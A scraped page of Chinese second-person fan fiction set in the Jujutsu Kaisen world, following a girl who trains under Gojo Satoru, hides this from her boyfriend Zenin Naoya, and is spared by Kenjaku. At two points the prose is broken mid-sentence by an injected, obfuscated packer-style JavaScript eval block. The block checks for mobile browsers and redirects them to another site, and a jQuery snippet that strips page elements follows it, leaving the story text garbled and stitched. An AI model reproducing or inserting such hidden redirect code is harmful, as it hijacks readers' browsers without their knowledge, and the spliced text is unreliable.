“五条老师,我,我不行的。”你慌慌张张摆手,即使他不是出于恶趣味想吓你,要是实验过程中出了事故怎么办?如果你真的变傻了外公该怎么办?直哉肯定会落井下石的吧?比如趁着你傻了把你关起来之类的黑泥发展…你早就知道他有这样黑暗的念头,因为你也一样! ‘如果ta废了但是没死,那就找个地方关起来好了。’这是你俩共同的想法。 “哈哈,小离要相信老师的技术呀。”五条悟起身,高大的他如乌云一般盖住了你面前的光,他长臂一伸拎起你的领子,下一秒发动了‘苍’,你都还没来得及头晕目眩,已经出现在了一片荒原之上。 你知道这是东京校的训练基地,平时应该没有什么人会来。 【领域展开,无量空处。】 五条悟根本没和你打声招呼,直接单手结印展开了领域,你被吓了一跳,然后想起自己在五条悟手上,豁免了领域的效果。 你很想抱住五条悟的胳膊,但是你一动不敢动,生怕掉下去后被领域击中变成傻子。 你催促着死脑子快学啊,最好现在立刻学会,这样就不用再来一次了,但是你也知道这是不可能的。 你的术式被动发动,大脑开始努力解析和模仿无量空处环境,你的额头沁出冷汗,身体也不受控制地发抖:无量空处的信息量实在是太大了,你感觉要吐了。 对于岩浆、流沙、地震这些组成单一的环境,你努力一下可以同时展开多个,但是像无量空处这样海量的信息让你深刻感觉到了什么叫烧脑,你的脑袋开始剧痛,胸口发紧,心脏狂跳,终于忍不住‘哇’地一声吐在了五条悟的身上。 失去意识之前,你奇怪五条悟不是有‘无下限’吗?为什么能吐到他的身上……对了,我们有身体接触,我现在被包在无下限里,他的术式都太好用了,好羡慕…… “啊,小离?!小离?!” …… “醒了。” 混沌中,你听到家入医生的声音。 你挣扎着睁开眼,发现自己在一间装修简约现代的卧室里,身下的暗纹天云灰海岛棉四件套,摸起来质量非常上乘,难道是家入医生的私宅吗? “可怜小猫,昏迷了一夜。”五条悟拿着两提甜甜圈走了进来。 “那叫睡觉。”你确实饿了,所以盯着他手上的袋子,五条悟从善如流地取了一个塞进你嘴里。 你思考着是否应该去餐厅吃,嘴却已经自动开始咀嚼吞咽,解析无量空处实在是一个浩瀚如海的工程,即使睡了一夜,你还是有一种身体被掏空的虚弱。 吃了一个高糖分的甜甜圈,又喝了家入医生倒给你的草莓牛奶,你掏出手机,看到现在时间是早上六点,直哉发了一堆信息给你。 首先他抱怨你没有遵守承诺给他带饭,病号餐难吃死了。 接着他又问你真生气了吗?怎么不回信息。 然后是几十个未接来电。 最新的信息是他破防了,大骂你为了加茂宪纪就不理人。他都受伤了,这里痛那里痛,你居然不回信息,你有没有道德?有没有良心? 你还没有看完直哉怨气满满的信息,他就打来了电话。 你下意识抬头看五条悟,他笑着点头,做了一个‘请便’的动作。 “浅川离!你这个……一晚上都不回信息?!你到底去哪里了?!” 听到直哉如此情绪化又饱含着担心的熟悉声音,你感到了一丝心安,话筒里有风流动的声音,说明他已经离开了医务室,应该是在找你的路上。 “我睡着了不行吗?”你当然不会告诉他昨天发生的一切,信息量太大,而且五条悟和家入医生还站在你面前,你知道什么该说什么不该说。 “哈?睡着了?”直哉狐疑地分析着这句话的真假,考虑到昨天你们遭遇了特级咒灵,消耗巨大,分开后你就回临时住处倒头大睡的可能性是存在的。 “是啊,我都快要累死了,你还骂我!你有没有良心!”因为尝试拓印无量空处,你是真真切切的累。身体累,心也累!说着说着你要委屈死了,眼泪吧嗒吧嗒掉了下来,“笨蛋直哉!你最没有良心!你对我一点也不好!” “哈?什……什么?我哪里骂你了!”电话里直哉被你说懵了,他的声音慌乱了起来,“你在哪里?我来找你,喂,阿离??别哭了!说话!” “不要你找!管好你自己!”你把所有因五条悟产生的压力和委屈都倾泻到了直哉身上。虽然你知道这是迁怒,但是也有不想让他掺和到危险中的‘好心’。 “哈?你给我等着。”直哉被你激怒,“我找不到你就跟你姓!给我洗干净脖子等着吧!” 跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如果出现在你们面前的不是环保主义咒灵,而是那个会把人变成怪物的咒灵呢? 如果直哉被变成怪物了该怎么办啊……你当然是会抛弃他的!可是如果这样,你的重要财产(直哉)不也受到了重大的损失吗?你去哪里找比他更好看更听话的小狗,去哪里找比他更好用的‘刀’…… 因为对特级咒灵的恐惧,你心绪不安极了,非常急切地想见到直哉。 五条悟的私宅就在高专附近,车很快驶入高专,到达操场。 你远远地就看到了人群中衣着鲜亮,一脸不爽的直哉,他大概是知道了今天的交流会行程,所以到操场堵你。 同学们都换了棒球服,只有直哉穿着和服,他抱着手臂倨傲站着,目下无尘,还是那副大正时期贵公子的模样。 他一眼就看到了五条悟车里的你,因为后座还有家入硝子,所以并不算孤男寡女,他没有立刻警铃大作。 “直哉!”车停下,让他万万没想到的是,你居然先于他动作了。你拉开车门奔跑出去,小炮弹一样砸到他的身上,非常依恋地紧紧搂住他的腰,把脑袋埋在他的胸口,小动物一样嗅着他的气味。 京都校同学都很惊讶,虽然知道你俩应该是和好了,但是怎么昨天才并肩战斗了,今天怎么就一副很想念的样子? 成长为少女后,你罕见对直哉做出这样亲热的行为。在巨大的受宠若惊下,直哉反手抱住你,他能感受到你的身体在微微颤抖,好像在害怕什么一样。 “直哉……你没事真是太好了。”你小小声庆幸,同时想松开他。 直哉可不会轻易让你跑了,毕竟当众被你表达依恋这样的好事可遇不可求。他抓住你,微微躬身,然后在你的脖子上不轻不重地咬了一口。 “啊!”原来洗干净脖子是这个意思吗?好幼稚啊直哉!! “哼,你也知道应该依赖谁了?你还算脑子清楚。”他好整以暇地整理了一下被你抱皱的衣襟,带着志得意满的笑意看你,那双无时不刻盛满了傲慢的上挑凤眼里此刻满满都是类似爱意的东西。 你抬头看他,一时间不知道该说什么,好像确实有些过于激动了。你告诉自己:我只是在确认个人财产的安全!这不丢人! “哇哦。”五条悟插着口袋走到你们的身侧:“好啦,校园偶像剧到此为止,我们的目标是甲子园!小离,去换衣服吧,老师给你准备了超可爱的棒球服哦。” “悟君……”直哉本来想说五条悟越界,但是他也想看你穿棒球服的样子,所以把话咽了回去。 “直哉也很期待吧?”五条悟直接戳穿他的想法。 “哼……我想看那不是什么时候都能看吗?”直哉当然不会承认,虽然确实想看。 咒术高专棒球赛开始,你换了裙裤装棒球服,散落月光一般的银白色长发绑成了清爽的马尾,在众人的注视中,你奋力投掷出一球。 28.第 28 章 虽然你没开出好球,但是大家本来就不是职业选手,打棒球也是混乱百出:伏黑玉犬叼球,西宫飞天接球,机械丸直接变成发球机……因为你的体术太烂,所以你干脆坐在外公身边观赛,直哉坐在你的另一侧,他抱臂轻蔑地看着赛场,虽然他也不会打棒球,但屑狐狸还是时不时发出嘲讽的声音。 在宪纪因和伏黑搭话而忘记挥出球拍后,歌姬老师气的原地跳脚,直哉却很是畅快地笑起来,看‘情敌’出丑实在是一件有趣的事。 “我就说他蠢得要死。”他用美丽的脸说着恶毒的话,顺便观察你的表情,见你真的没有关注加茂宪纪,他才稍微放心下来。 毕竟刚才你到的时候,那该死的庶子一直在盯着你看,这些细枝末节根本逃不过他明察秋毫的眼睛! “哼。”直哉见你没有给他回应,于是开始哼哼唧唧,他不会承认其实就是想吸引你的注意力。 “哟,老爷子。” 闻声你和外公同时扭头,不出意外地见到五条悟走近,会用这种语气称呼你外公的人很少,所以见到是他你也不意外。 “老爷子还讨厌虎杖吗?”五条悟说着强行挤在你和外公中间坐下,他这样大的身躯占据了不小的位置,你被挤到直哉身上,他马上扶住了你,并警惕地看向占位的六眼。 “老夫从来没有讨厌过谁,打击容器也只是职责所在罢了。”乐岩寺拄着拐杖,老神在在,公事公办地回答。 “老爷子的良苦用心我都知道了,替虎杖谢谢你哦。”五条悟轻声抛下这样暧昧不清的话,然后转而看你,“还要谢谢我们小离呢。” “五条,你在说什么,老夫听不懂。”你外公是老狐狸,当然不会承认他暗示你放水。 你是老狐狸养大的小猫,立刻跟着外公表态:“五条老师,你在开玩笑吧,没有什么可谢我的。” “欸?小离不是抱着虎杖……不不不,是被虎杖抱着跑了那么远吗?”五条悟看着你,促狭地笑了。 你心里咯噔一下:就知道这事不是那么容易糊弄过去的!棒球赛前你就能感受到同学们眼神中的质疑,特别是真依,如果不是老师们都在,她可能会上来给你邦邦两拳,这也合理,毕竟你都拿强光闪她了…… 其实你也有一点点小委屈,东堂葵已经和虎杖悠仁混成brother了,为什么同学们完全不质疑他啊?但是考虑到在你们眼里东堂和动物园的大猩猩没有什么两样,你又有些释然。 被五条悟提醒,直哉终于想起来还要追究这件事:“浅川离,你给我把虎杖悠仁的事情说清楚!” “啊?”你这才察觉到身边还有直哉这个麻烦,他伸手捏住你的脸,质问道,“为什么让别的男人碰你?你知道你是我的吗?” “臭小子!放开她!”看到你的脸像年糕一样被直哉扯着,乐岩寺也瞬间破功,刚才的好涵养全然消失,他起身伸手去掰直哉的手。 看到一窝大小狐狸乱起来,五条悟目的达成,他哈哈哈笑着起身离开,走之前还摘下墨镜对你wink了一下,大概是在提醒你别忘记了和他的约定。 是的,在过来打棒球之前,你已经答应了五条悟要留在东京特训一周,并尝试在一周内复刻无量空处环境,不提威力和作用,先模仿下来大概的再说。 因为他是五条悟,你不得不答应,不过这也不算是被迫,因为无量空处是你心中领域的顶点,如果真的能偷窥到其中的一部分奥妙,光是幻想一下,作为咒术师的你都激动到身体发抖。 想到实际会遇到的问题,你心情复杂地看了一眼外公,心说这件事还需要外公为你撒谎,毕竟要和直哉分开一周,在不让他知道真相的情况下有点难度。 你并不打算告诉任何人关于反转术式环境和无量空处的事,五条悟是对的,没有人可以永远保护你,即使是直哉也有家族任务,他要工作也不是闲人。你得小心翼翼地将自己的能力部分掩藏起来,避免被有心之人盯上,也避免给亲近之人带来大麻烦。 你好不容易才分开互掐的外公和直哉,在你外公气呼呼的注视下把直哉拉到边上的小花坛。 他那双漂亮的眼睛此时含着怒气,大概是在怪你抱了别的男人,即使只是个少年,他也嫉妒的要死。 “解释,浅川离。”他冷声命令你,浑身上下都在散发着‘快哄我’的明示。 对付直哉你颇有经验,二话不说踮脚亲他,他愣了一下,然后立刻低头回吻你,一双大手也紧紧箍住了你的腰,他一直亲一直亲,你脖子都酸了,于是开始捶打他的胸口。 “反正就是……不得已为之。”好不容易让直哉松开你,你有些气喘吁吁地坐在花坛边上解释,“如果不带着他跑,他可能会死,我当时并不知道东堂已经反水了,我的体术太差……所以让他把我抗走了。” 你用‘抗’代替了‘抱’,虽然这两字在你看来是差不多的,但是在直哉眼里后者可算是出轨了。 “哼,即使是有理由的,那个肮脏的容器也碰了你,晚上我要好好收拾你,让你长长记性。”直哉在你身边坐下,按惯例放狠话,根据你对他的了解,这是完全消气和解除怀疑了。 “今晚不行!”你下意识立刻拒绝,交流会的第一天你又用咒力又用脑,还接触了无量空处这种怪物级别的领域学习,现在的你已经是强弩之末,需要好好休息! 你说完才意识到,如果你的计划通的话,今晚必然是各睡各的,其实根本不用拒绝,可以先答应让他高兴一下,不过说都说了,无所谓了。 直哉听到你拒绝他的亲密意图,那双漂亮的凤眼微眯,正准备开口质疑你是不是变心了,就听到你继续说。 “我真的好累哦,直哉。”说着你就往他肩膀上靠了过去,开始闭目养神。 你的肢体接触让他彻底没了脾气,但是他还有一个疑问:“……你,你早上怎么是和悟君一起来的?” 其实他倒是没有太多怀疑,因为家入硝子也在车上,他更倾向于是你在路上遇到了他俩,他们顺便带你了一程。 你的脑袋飞速运转,给自己找了一个完美理由:“哦,昨天晚上和你分开后,我去了外公在东京的房子,刚才在来学校的路上遇到了伊地知先生的车,五条老师和家入医生就让我上车了。” 你撒谎毫无心理负担,总不能说‘因为我和五条悟在研究无量空处’吧? “老头子还在东京买了房子?”直哉是完全信了,这句疑问也只是自言自语,并没有打算让你真的回答。毕竟乐岩寺嘉伸是保守派的大佬,又是实权校长,在东京投资一些房产实在是太正常不过,禅院在东京也有不少房地产呢。 你靠着直哉小憩了一会儿,球场上传来一阵‘好球’的呼声,你抬头远远看去,发现是东堂葵被禅院真希的球大力击中昏迷,大家都很高兴。 ‘东堂葵真的是一个很神奇的生物,是京都所有人的压力来源。’你这般想着,暗暗在心里也说了一句‘好球’,毕竟战前会议他当众忤逆了你的外公,你没能力对抗东堂,现在真希帮你报仇了!干得好啊!真希! 对于禅院姐妹,即使她们不喜欢你,你对她们也没有多少讨厌,如夜蛾校长所说,大家都是共同抗击诅咒的同伴。即使真依一天到晚在背后说你坏话,真希莫名其妙对你不喜,但是她们都无法挑动你真实的情绪,也许你是一个冷漠的人吧。只有在面对直哉的时候,你的七情六欲才会鲜活真实……所以其实你承认,禅院直哉的确是对你来说最特别,也最不能舍弃的外人。 虽然他真的很重要,但是也不妨碍你实行自己的计划。你说想喝草莓牛奶,推着直哉去自动售货机替你买。 “什么啊,一天到晚使唤人。”他抱怨着立刻起身,“常温的可以吗?” “要冰的。”你催促他,“快点,渴死了。” “麻烦,一天到晚要喝冰的,到时候肚子痛又要猫猫咪咪的……” …… “哈?”等到直哉拎着饮料回来,见到的就是你和乐岩寺站在一起,你外公恢复了日常的沉稳模样,吩咐他。 “禅院,晚上你跟着京都的人一起回去吧,老夫和阿离在东京还有事要办。” “你能有什么事?如果有事交给我俩就行了,你自己回京都吧。”直哉这个论外之男对你外公毫不客气,他把冰冰的利乐包草莓牛奶递给你,一副当仁不让的样子。 “老夫要置办身后事。”你外公面无表情胡言乱语,“这是我们家的私事,你不用掺和。” 直哉想说你的事就是他的事,根本不存在什么私事公事,买墓地什么的又不用躺进去试用,乐岩寺没必要留在东京。但是他看到你对他皱眉摇了摇头,似是对他恶劣态度的不赞同。 “哼。那么京都的人今晚都回去吗?”他缓和了态度,状似无意地问。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102407|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是啊,怎么了?”乐岩寺知道他在想什么,不就是试探加茂宪纪是否留在东京吗?这多疑的小金毛肯定是在怀疑老夫要撮合阿离和宪纪! 虽然乐岩寺的心选孙女婿确实是有礼貌的加茂少主宪纪,但是他现在怀疑你和五条悟有点不清不楚,只是碍于你是他最爱的外孙女,即使一肚子问号,他也得先帮你支开禅院直哉。 直哉担心的确实是老头在东京给加茂宪纪制造机会,既然他也回去……那么姑且相信。 “行了,知道了知道了。”他很不耐烦地驱赶你外公,“既然晚上要分开,现在把时间留给我们吧。” 说着他就当着你外公的面,把你拉到了他身侧,一副‘我们’是一起的,‘你’是多余的样子。 你对外公轻轻颔首。 完成了表演的乐岩寺‘哼’了一声,拄着拐杖黑着脸转身离开,心里却有点高兴:阿离开始独立了,虽然和五条悟纠缠有点不妥,但是想到这个论外之男会吃瘪,老夫就高兴! …… “什么?” 交流会中吃了五条悟一记‘茈’的特级咒灵花御,此刻大半个身子都被打掉了,正在通过脑电波传递信息。 额头有缝合线的羂索,或者说是加茂宪伦,又或者说是夏油杰,闻言一脸吃惊:“你说,银色头发的女人狡猾又厉害?和金色头发的男人配合起来非常强?差点把你祓除了?” 花御又传来一串电波,意思是金色头发的男人攻击不高,但是一直可以固定住它击打,重点是银色头发的女人,她的结界术一直在干扰它完成一秒二十四帧的指定动作,所以它不断被金色头发的男人定住偷走一秒钟。 “哈?什么男人女人的,都杀掉不就好了吗?”火山头特级咒灵漏瑚满不在乎地嘀咕,“话说你受伤真的挺重的啊花御,主要还是五条悟干的吧?” 花御用电波回应,那对金银男女也不容小觑,特别是那个女人,应该除掉。 “浅川离。”羂索托腮默念你的名字。 理智上来说,杀死你确实是一件不难的事情,一个高空坠物就能把你砸死。 但是他不想杀你。 曾经的羂索是虎杖香织,他用女人的身体生下了虎杖悠仁,对生育知识颇有涉猎。 他愚蠢的‘乖孙’加茂康诚前几日和他汇报,据安插在禅院的美貌侍女回报:浅川氏轻浮,X大无脑,空有美貌,离不开男人,成日只知道勾着禅院直哉玩乐,日常两人厮混到正午时分才出卧室,她还引着禅院直哉打耳洞染金发玩物丧志,这位禅院未来的少主夫人,就差把蠢字写在脸上。 这些情报很主观,虽然加茂康诚说得一脸艳羡,但是撑死了也只能算是背后说人坏话的范畴,没有重要之处。 “她出生的资料似乎被乐岩寺篡改过,我好不容易才找到当年的助产士威逼利诱,发现她是早产儿,三个月就生下来,还把乐岩寺的女儿害死了。肯定是大脑没有发育好,怪不得蠢蠢的,有那么好的术式也是浪费了,啧啧……” “什么?”帘后的羂索本来对这些逸闻兴趣缺缺,听到‘三个月’后眼睛都睁大了。 愚蠢的男人不知道早产的概念,可是他生过,他知道啊!三个月的孩子……不但保下来了,现在看起来除了有些瘦小,和常人也没有太大的差别。 事出反常必有妖,拥有乐岩寺家族不曾记载术式的你,居然在母体里待了三个月就被生了下来,照理说胎小不至于难产却害死了母亲……你还有一个至今无人知晓身份的父亲,这一切加在一起,更不对劲了。 羂索想要迎来新世界,如果新世界的人都只需要在母体里呆三个月就能出生,那不是非常有趣吗? 虽然你不够强到让他把你当人看,但是你现在在他心里的地位也已经比肩咒胎九相图了。 因为你是研究品,他拒绝了咒灵们想要除掉你的提议:“浅川离是京都保守派高官唯一的亲人,如果杀死她,乐岩寺调查到蛛丝马迹后就会立刻倒向五条悟,对我们的计划不利。” “那么复杂吗?嘛,随便了。”蓝色长发的特级咒灵真人有更在意的人,夏油既然坚持,他也没意见。 你再强也只是个辅助,漏瑚和花御一个傲慢,一个真的很痛,还有一个陀艮不会说人话,所以没有咒灵提出反对意见。 你就这样又一次被羂索放过了,也算是冥冥之中的好运吧。 29.第 29 章 交流会结束,五条悟带着年轻人们去吃寿司,席间自然要合影留念,因为只有直哉不是学生,所以由他使用歌姬老师的手机来掌镜合影。 直哉毕竟是一个有女朋友的男人,你俩出去游玩日常都是他为你留影,经验丰富!那种只拍景物不拍人的破烂技术不会出现在禅院大少爷的手上。他拍的合影都美美的,并且一看构图就知道摄影师是谁:所有的照片你都在中心! “果然把漂亮的孩子放在中间,所有人都更好看了。”歌姬老师把照片传到群里,啧啧夸奖。无视了五条悟也是‘漂亮孩子’的事实,只夸奖你一人。 “哼。” 听到真依哼声,你一个激灵坐直了身体,严阵以待:要来了要来了! “喂,浅川离,你……你和虎杖悠仁是怎么回事?”即使虎杖也在,真依还是忍不住,棒球赛的时候她就想问你了,但是因为你和直哉一直在一起,她没有找到机会。 直哉正坐在你的身边裁剪照片,他习惯保持照片内容的干净,有些被拍进去的杂物(宪纪)他会裁掉。听到真依的质问,他居然产生了‘同仇敌忾’的感觉!虽然他和真依是互相比中指的关系,但是他也想听你解释! 他想听你撇得干干净净的,虽然你刚才已经在他面前澄清过一次,但是他还是很不爽:凭什么啊臭小子,凭什么抱我的……女人啊。 “啊,这个。”虎杖见你面色发白,赶紧帮你解围,“是我,是我抓走了浅川学姐,这件事和浅川学姐没关系!” “呵,臭小子,你知道你抓走的是我的……”直哉一激动就忘记了立场,只懊恼这小子的越界,他想在大家面前宣示主权,但是被真依打断。 “那个强光是你的能力吗?别骗人!”真依无视虎杖悠仁,只盯着你逼问,“你藏了很多啊,浅川离,术式是对着同学用的吗?” 西宫桃和机械丸都看向你,想看你准备怎么狡辩。三轮想为你解围,讷讷了半天却不知道该说什么好:这件事你做得确实有点过分,真的很难为你开脱。 “我……”你浑然没有了在直哉面前的胡搅蛮缠和能说会道,欺熟怕生的你转头向直哉求助。 虽然在‘被虎杖抱走’这件事上,直哉和你并没有站在一个战线,但是他是你的男朋友,你当然希望他能为你说话! ‘哼哼,小笨猫,没有我,就吵不过别人了是吧?’直哉接收到了你求助的眼神,他有些得意于被你需要,也被你可怜兮兮的样子取悦到了:我的小猫咪,被吓得瑟瑟发抖,也是了,像她这样柔弱的女人,不管平时再张牙舞爪,真遇到难处了也只能依靠我! 其实你并没有发抖,直哉的想法里掺杂了他的个人幻想。 “浅川同学并没有隐瞒什么,那个强光是虎杖同学的能力吧?” 让直哉万万没想到的是,他刚清清嗓子准备去对着真依开火,那个头上包着层层纱布,交流会受伤最严重的加茂宪纪居然,居然先帮你说话了! ‘加茂家该死的庶子,我女朋友的事情要你管吗?’直哉强忍住嘲讽加茂宪纪的冲动,因为他现在好像和你们是一边的。 “是,是我的,我的能力。”虽然不知道这个京都学长为什么帮忙,但是虎杖立刻领悟,点头如捣蒜。 野蔷薇和伏黑当然知道虎杖没这个能力,但是他们也不会来拆你的台,也默契地跟着点头。 你见形势向好便松了一口气,所有人都站在你这边。 你明白这件事本质上还是因为虎杖悠仁人缘好……反正对你有利就够了,不需要深究。 “没错没错。”熊猫大力点头。 “鲑鱼,鲑鱼。”狗卷棘也表赞同。 “吃你的吧,小妹。”真希冷不丁夹起一块醋渍大头菜,精准塞进对桌的真依嘴里。 “吊车尾,你叫谁小妹呢!我们是双胞胎!”真依明显被真希的行为气到,大声反驳这个称呼后便不再追究你。很明显大家都在维护你,她不会觉得这是你这个自私的家伙人缘好,而是……这符合五条悟的意志。 全程五条悟都微笑看着你们,真依相信如果她再继续逼问,五条悟都会下场来胡说八道地帮忙。这件事本质上还是有关宿傩容器,你会帮助容器,可能也是和五条悟私下达成了某种协议。 想到你和五条悟,真依心情复杂地看向禅院直哉,总感觉他的金毛绿绿的,虽然她也很高兴看直哉吃瘪,但是这也算是……禅院之耻吧?丢死人了。 你扭头瞪了直哉一眼。 你俩默契非常,即使不用言语,他也读出了你的意思:哼,你怎么不帮我说话? 直哉立刻迁怒坐在另一边的宪纪,恶狠狠瞪他,再一脸无辜地看向你,表示都怪这小子抢话。 宪纪吃寿司,宪纪喝麦茶,宪纪回应五条悟的勉励,宪纪完全不理直哉。 直哉迁怒未果,讪讪看你,你哼一声转头,他又在桌下偷偷拉住你的手,你想把手挣开,却被他略有些薄茧的温暖大手整个包住。 他无声地表达了‘别生气了嘛’的撒娇请求,你想到接下来一周你要做的‘坏事’,就没有什么底气再责怪他。于是你安安静静地让他握着手,心中祈祷可别出什么岔子。 饭后京都的人都要回去,直哉坐禅院的车回,临分别时他一把将你拉到车上,快狠准地扑倒你又亲又啃,你大为慌乱,生怕他直接让司机开车回京都,那样你还要再回来一次,实在是有些麻烦。 你推他的脸,他却把你死死压住,让你动弹不得。 “直哉!”你慌慌张张指向驾驶室,意思是还有人呢。 “我又没想干嘛!”不知是想到了什么,直哉俊美的脸上也浮现出了浅浅的粉红,“你……早点回来,知道了吗?” 说着他把金毛脑袋埋进你的胸口,狠狠吸猫。 你用力推他的脑袋,但是太重,推不开。 “嗯,我会尽快的。”看着直哉如此依依不舍,其实你也有些感到抱歉。可是无量空处实在是一个巨大的课题,你预计一周能拓印下部分,都算是天才了,所以现在你无法承诺具体回京都的日期。 更麻烦的是这件事还必须对所有人保密,即使是配合你撒谎的外公都不知道,你和五条悟的私事是无量空处。 “好啦,你回去吧,路上小心。”你伸手捧住直哉乱动的脑袋将他固定住,快速在他嘴上亲了一口,然后就像泥鳅一样顺滑地溜出车外,滑不溜秋得让直哉都没反应过来,速度超敏捷! “哼,坏猫。”直哉舔了舔嘴唇,一边回味一边口是心非地骂你。 不远处你外公正面色不善地等着你,他超级讨厌禅院的臭小子对你动手动脚,虽然知道你们之间早就突破了所有的距离,但是作为外公,他就是超级不高兴! 唯一值得庆幸的是禅院直哉还算是个有分寸(但不多)的人,如果真的弄出未婚先孕这样的丑事,他发誓一定干掉那个小金毛,绝对! 乐岩寺充分信任你很会保护自己,但是他并不信任五条悟,所以他决定还是要提点一下你。 回到外公身边,你跟着他坐上了东京校配备给京都校长的轿车,司机并不是你们的自己人,所以一路上你和外公都没有说话。 回到东京校鸟居下,乐岩寺说他先回东京的私宅,又提醒你和五条悟要注意点。 “啊?注意?”你不太明白外公的意思,有些一头雾水,但是聪明如你,立刻想到了外公是在怀疑你和五条悟的关系! 你急急忙忙摆手澄清:“不是的,外公,我和五条老师确实有事,但是不是你想的那样。” 因为你日常爱撒点无伤大雅的谎,所以你的信用分不高。再加上你外公是个摇滚老炮儿,对男女之事其实也没有那么大防。最重要的是他讨厌禅院直哉,潜意识里就希望你换个男朋友,即使是以不光彩的方式。 光彩有什么用,五条悟虽然也很烦,但是比禅院直哉好多了!你外公在内心暴言。 “外公,我没撒谎!我和五条老师真的不是那种关系!”你就差指天发誓,其实被外公误会真的没什么,但是……可能是刚刚你才抱了热乎乎硬邦邦(肌肉)的直哉,现在居然产生了一点点对直哉的负责感,“我和五条老师真的是有很重要的事情,不是偷情,你要相信我。” “哦。” 很明显你外公还是不信,你从小到大骗了他无数次,成人礼那天你骗他说去逛街其实去禅院睡了直哉,当时你也是信誓旦旦说绝对是去逛街的。 你见无法让外公信服,叹口气,也不再坚持。 不能责怪你外公是不信任孩子的东亚家长。主要还是因为你骗人的次数实在是太多了,只要有利于你,你就会撒谎,现在信用归零,这也是没有办法。 …… “五条老师。”送走外公,你猫猫祟祟地敲开五条悟办公室的门。 “小离来啦。”五条悟就在门口,在你敲门的第一下他就开了门,你的身影被他完全遮盖住,这样强的压迫感让你微微后退了一步。 “我们去训练场吗?”你有些担心他又来拎你,想和他商量一下能不能用更体面一些的方式:比如拉着你的手。 被拎起来的感觉实在是有点像猫被拎住了后颈,你好歹也是准一级咒术师(整理衣领),有自己的骄傲…… “啊!”下一秒你又出现在了训练场,还是被五条悟拎着。 “准备好了吗?小离,那么……领域展开……” “等等等。”你还没有准备好,五条悟已经展开了他的无量空处,你的术式也立刻跟着发动,如饥似渴地吸取着领域的数据。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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禅院家的封建大少爷,男权代表禅院直哉!他关心你的经期这件事如果被任何一个人知道,都会觉得这是一个彻头彻尾的玩笑,实在是太不符合他的人设了! 可是他确实很关心。 你并不是一个强壮的咒术师,自初潮开始,每个月的那几天你都手脚冰冷。不管你的课业多么繁重,也不管他有多忙,直哉都会把你接回禅院睡觉,他会握着你冰凉的手,让你整个人蜷缩在他的身上汲取热量。玫瑰花茶、月见草胶囊、止痛药、热水袋、卫生巾都是院落里的常备,他还会督促你多吃蛋白质少吃糖分,据说多吃肉的女人不会痛经。 “嗯,就这两天了吧。”你被他提醒才想起这件事,心想等会让伊地知先生去准备一下卫生用品,倒不是你很爱使唤人,而是五条悟不让你出这间屋子。 对此你有些疑惑,为什么不能出去。 五条悟倒也没有瞒着你,他告诉你他和歌姬正在找两校的内鬼,如果内鬼是东京校的,那么你滞留东京校就会被人怀疑,所以他打算让你只待在他的家里。这样最安全且最方便。 “如果小离有什么需要的东西,打电话给伊地知,他会帮你去采购的。”五条悟毫无心理负担地增加了伊地知的工作。 对于住在五条悟的私宅里,你倒是没有什么意见,只一条:千万别让直哉知道了!如果直哉得知,就算你和五条老师清清白白,他也会当场火山爆炸要死要活,你真的很累,已经没心思去哄他了。 其实……每次直哉对你提出那种‘如果怎么样,你会不会怎么样’的假设性问题,你心里都挺难过的。 就不能和电视剧里演的那样,男主角完全信任女主角吗?! 因为你们都是咒术师,任何言语都有可能变成诅咒和束缚(参照里香和乙骨忧太),所以你绝对不会和直哉说什么‘永远只爱你一人’的夸张承诺,可是讲讲道理,你并没有出轨过啊……包括现在! 反正你就是觉得直哉对你的信任趋近于零,都不会把你当好人看待,这点非常不好! 你越想越困,无量空处真的力道太大了,你感觉眼睛都要睁不开了,于是你看向屏幕里漂亮得非常扎眼的直哉: “直哉,我睡觉了,晚安哦。” “快睡吧……你都累成流浪狗了。”直哉心疼你,但是还是要嘴巴坏。 “为什么来东京?因为我是你的小狗。”你在关掉视频前一秒,坏心眼地学了直哉之前说的话,然后肉眼可见他羞恼起来,他气急败坏地喊你的名字,浅川离的离字还没有出口,视频已经被你关掉了。 刚摁下视频的关闭键,你就和被抽走了灵魂一样倒头就睡,身体都好像不是自己的了。 远在京都的直哉是那么的了解你,只是一个视频,他就感觉你有一点不对劲,绝对绝对在隐瞒着什么!他向椅背后仰去,开始幻想对你的惩罚:坏猫到底在瞒着我什么啊…真是越来越坏了,哼,回来以后她起码一天别想下床…一天的话,那我是不是要把炳的工作提前做掉?啧…真麻烦… 在某一秒钟,禅院直哉福至心灵:现在的我有妻子有事业,几乎快要超越甚尔了…虽然还差距一个孩子,但是这个不急。 30.第 30 章 你的直哉一直都挺聪明的,毕竟他从小被称为禅院的天才,你不太确定可以瞒他多久,只想着能糊弄一天是一天,糊弄不下去了你就回京都。 第二天你照旧累成狗,丧尸一样拖着身体回到五条宅,伊地知先生为你准备好晚餐后就先行离开了,偌大的屋子里只有你一人。五条悟真的是一个非常好的老师,也非常绅士,在你搬进来后,他直接住到别的房子里去了,这样有边界感的行为让你完全安心。 虽然直哉非常忌惮五条老师,但是你真心觉得他不是那种人,你认为他绝对不可能对你有坏心思,他是一个非常尊重弱者的强者! 你还没歇几分钟,直哉就掐点打来了视频。 你接起来,然后把手机架在餐桌上,边吃饭边和他视频。 直哉穿着紧身的黑色短袖,露出鼓鼓的手臂肌肉和漂亮的胸肌线条。你一看就知道他是故意的,因为某个晚上你躺在他怀里嫌弃他的和服保守,还好心告诉他黑色紧身衣才是男人最性感的衣服…今天他特意穿了,你的竹马心思实在是太好猜了。 “离,你在哪?”视频里的直哉观察了一下你身后,挑眉,用他那一口标志性的关西腔懒洋洋地问你,“乐岩寺宅?” 